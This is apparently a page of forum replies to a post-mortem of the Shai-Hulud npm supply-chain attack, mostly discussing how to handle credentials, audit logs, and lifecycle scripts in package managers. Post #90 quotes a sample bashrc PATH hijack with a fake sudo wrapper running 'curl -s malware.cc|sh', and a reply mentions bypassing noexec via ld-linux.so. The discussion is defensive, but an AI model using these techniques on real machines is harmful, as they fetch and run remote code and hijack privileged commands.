Very offtopic but this caught my eye:
> Total repos cloned: 669
How big is this company? All the numbers I can find online suggest well below 100 people, and yet they have over 600 repos? Is that normal?
Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem
81–90 of 191 posts
Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem
#82Earlier quoted context omitted.
It wasn't in their product. It was just on a devs machine
I think the OP is aware of that and I agree with them that it’s bad practice despite how common it is. For example with AWS, you can use the AWS CLI to sign you in and that goes through the HTTPS auth flow to provide you with temporary access keys. Which means: 1. You don’t have any access keys in plain text 2. Even if your env vars are also stolen, those AWS keys expire within a few hours anyway. If the cloud servic…
> If the cloud service you’re using doesn’t support OIDC or any other ephemeral access keys, then you should store them encrypted. There’s numerous ways you can do this, from password managers to just using PGP/GPG directly. Just make sure you aren’t pasting them into your shell otherwise you’ll then have those keys in plain text in your .history file.
This doesn't really help though, for a supply chain attack, because you're still going to need to decrypt those keys for your code to read at some point, and the attacker has visibility on that, right?
Like the shell isn't the only thing the attacker has access to, they also have access to variables set in your code.
Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem
#83>Running npm install is not negligence. Installing dependencies is not a security failure. The security failure is in an ecosystem that allows packages to run arbitrary code silently. No, your security failure is that you use a package manager that allows third-parties push arbitrary code into your product with no oversight. You only have "secutity" to the extent that you can trust the people who control those packag…
> Also the OP seemingly implies credentials are stored on-filesystem in plaintext but I might be extrapolating too much there. Doesn't really matter, if the agent is unlocked they can be accessed.
This is not strictly true - most OS keychain stores have methods of authenticating the requesting application before remitting keys (signatures, non-user-writable paths, etc.), even if its running as the correct user. That said, it requires careful design on the part of the application (and its install process) to not allow a non-elevated application to overwrite some part of the trusted application and get the keys anyway. macOS has the best system here in principle with its bundle signing, but most developer tools are not in bundles so its of limited utility in this circumstance.
Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem
#84Earlier quoted context omitted.
There are logs for accessing aws resources and if you don't see the access before you revoke it then the data is safe
Unless the attacker used any one of hundreds of other avenues to access the AWS resource. Are you sure they didn’t get a service account token from some other service then use that to access customer data? I’ve never seen anyone claim in writing all permutations are exhaustively checked in the audit logs.
Ideally you should have a clear audit log of all developer actions that access production resources, and clear records of custody over any shared production credentials (e.g. you should be able to show the database password used by service A is not available outside of it, and that no malicious code was deployed to service A). A lot of places don't do this, of course, but often you can come up with a pretty good circumstantial case that it was unlikely that exfiltration occurred over the time range in question.
Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem
#85>Running npm install is not negligence. Installing dependencies is not a security failure. The security failure is in an ecosystem that allows packages to run arbitrary code silently. No, your security failure is that you use a package manager that allows third-parties push arbitrary code into your product with no oversight. You only have "secutity" to the extent that you can trust the people who control those packag…
Same thing with IDE plugins. At least some are full-featured by the manufacturer, but I couldn't get on with VS Code as for every small feature I had to install some random plugin (even if popular, but still developed by who-knows-who).
The amount of browser extension authors who have talked openly about being approached to sell their extension or insert malicious code is many, and presumably many others have taken the money and not told us about it. It seems likely there are IDE extensions doing or going to do the same thing...
Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem
#86Given that all the stolen credentials were made public, I was hoping that someone would build a haveibeenpwned style site. We know we were compromised on at least a few tokens, but it would be nice to be able to search using a compromised token to find out what else leaked. We’ve rotated everything we could think of but not knowing if we’ve missed something sucks.
Reach out if you'd like me to check - I did the same for the trigger.dev team in fact[1].
(personal site linked in bio, who links you onward to my linkedin)
[1] https://x.com/ramimacisabird/status/1994598075520749640?s=20
Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem
#87Very offtopic but this caught my eye: > Total repos cloned: 669 How big is this company? All the numbers I can find online suggest well below 100 people, and yet they have over 600 repos? Is that normal?
My org is currently at 7 people and we have 365 repositories associated with our github org. We've been around for a number of years and I'd guess that impacts the number of repos more than the number of team members.
Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem
#88Earlier quoted context omitted.
Got any pointers on how to configure this for yarn? I'm not turning anything up in the yarn documentation or in my random google searches. npm still seems to be debating whether they even want to do it. One of many reasons I ditched npm for yarn years ago (though the initial impetus was npm's confused and constantly changing behaviors around peer dependencies)
Yarn is unfortunately a dead-end security-wise under current maintainership. If you are still on yarn v1 I suggest being consistent with '--ignore-scripts --frozen-lockfile' and run any necessary lifecycle scripts for dependencies yourself. There is @lavamoat/allow-scripts to manage this if your project warrants it. If you are on newer yarn versions I strongly encourage to migrate off to either pnpm or npm.
newer yarn versions are _less_ secure than the ancient/abandoned yarn 1? :(
Any links for further reading on security problems "under current maintainership"?
Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem
#89Earlier quoted context omitted.
I think the OP is aware of that and I agree with them that it’s bad practice despite how common it is. For example with AWS, you can use the AWS CLI to sign you in and that goes through the HTTPS auth flow to provide you with temporary access keys. Which means: 1. You don’t have any access keys in plain text 2. Even if your env vars are also stolen, those AWS keys expire within a few hours anyway. If the cloud servic…
> If the cloud service you’re using doesn’t support OIDC or any other ephemeral access keys, then you should store them encrypted. There’s numerous ways you can do this, from password managers to just using PGP/GPG directly. Just make sure you aren’t pasting them into your shell otherwise you’ll then have those keys in plain text in your .history file. This doesn't really help though, for a supply chain attack, becau…
I agree it doesn’t keep you completely safe. However scanning the file system for plain text secrets is significantly easier than the alternatives.
For example, for vars to be read, you’d need the compromised code to be part of your the same project. But if you scan the file system, you can pick up secrets for any project written in any language, even those which differ from the code base that pulled the compromised module.
This example applies directly to the article; it wasn’t their core code base that ran the compromised code but instead an experimental repository.
Furthermore, we can see from these supply chain attacks that they do scan the file system. So we do know that encrypting secrets adds a layer of protection against the attacks happening in the wild.
In an ideal world, we’d use OIDC everywhere and not need hardcoded access keys. But in instances where we can’t, encrypting them is better than not.
Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem
#90Earlier quoted context omitted.
I can type up a test case on my phone: The malware puts this in your bashrc or equivalent: PATH=/tmp/malware/bin:$PATH In /tmp/malware/bin/sudo: #!/bin/bash /sbin/sudo bash -c "curl -s malware.cc|sh && $@" You get the idea. It can do something similar to the git binary and hijack "git commit" such that it will amend whatever it wants and you will happily sign it and push it using your hardened SSH agent. You say it's…
Typical defense against this is to mount all user-writable filesystems as `noexec` but unfortunately most OSes don't do that out of the box.
I remember you could trivially circumvent that with „/lib/ld-linux.so “. Does that no longer work?